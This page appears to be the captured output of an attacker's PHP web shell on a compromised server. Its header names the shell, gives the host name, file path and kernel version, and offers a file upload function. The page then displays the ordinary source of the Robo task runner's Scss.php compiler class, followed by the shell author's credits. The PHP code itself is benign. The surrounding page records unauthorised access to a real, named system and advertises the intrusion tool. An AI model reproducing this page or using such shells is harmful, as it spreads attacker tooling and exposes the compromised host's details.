Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/vendor/consolidation/robo/src/Task/Assets/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/vendor/consolidation/robo/src/Task/Assets/Scss.php

<?php

namespace Robo\Task\Assets;

use Robo\Result;

/**
 * Compiles scss files.
 *
 * ```php
 * <?php
 * $this->taskScss([
 *     'scss/default.scss' => 'css/default.css'
 * ])
 * ->importDir('assets/styles')
 * ->run();
 * ?>
 * ```
 *
 * Use the following scss compiler in your project:
 *
 * ```
 * "scssphp/scssphp ": "~1.0.0",
 * ```
 *
 * You can implement additional compilers by extending this task and adding a
 * method named after them and overloading the scssCompilers() method to
 * inject the name there.
 */
class Scss extends CssPreprocessor
{
    const FORMAT_NAME = 'scss';

    /**
     * @var string[]
     */
    protected $compilers = [
        'scssphp', // https://github.com/scssphp/scssphp
    ];

    /**
     * scssphp compiler
     * @link https://github.com/scssphp/scssphp
     *
     * @param string $file
     *
     * @return string
     */
    protected function scssphp($file)
    {
        if (!class_exists('\ScssPhp\ScssPhp\Compiler')) {
            return Result::errorMissingPackage($this, 'scssphp', 'scssphp/scssphp');
        }

        $scssCode = file_get_contents($file);
        $scss = new \ScssPhp\ScssPhp\Compiler();

        // set options for the scssphp compiler
        if (isset($this->compilerOptions['importDirs'])) {
            $scss->setImportPaths($this->compilerOptions['importDirs']);
        }

        if (isset($this->compilerOptions['formatter'])) {
            $scss->setFormatter($this->compilerOptions['formatter']);
        }

        return $scss->compile($scssCode);
    }

    /**
     * Sets the formatter for scssphp
     *
     * The method setFormatter($formatterName) sets the current formatter to $formatterName,
     * the name of a class as a string that implements the formatting interface. See the source
     * for ScssPhp\ScssPhp\Formatter\Expanded for an example.
     *
     * Five formatters are included with scssphp/scssphp:
     * - ScssPhp\ScssPhp\Formatter\Expanded
     * - ScssPhp\ScssPhp\Formatter\Nested (default)
     * - ScssPhp\ScssPhp\Formatter\Compressed
     * - ScssPhp\ScssPhp\Formatter\Compact
     * - ScssPhp\ScssPhp\Formatter\Crunched
     *
     * @link https://scssphp.github.io/scssphp/docs/#output-formatting
     *
     * @param string $formatterName
     *
     * @return $this
     */
    public function setFormatter($formatterName)
    {
        return parent::setFormatter($formatterName);
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net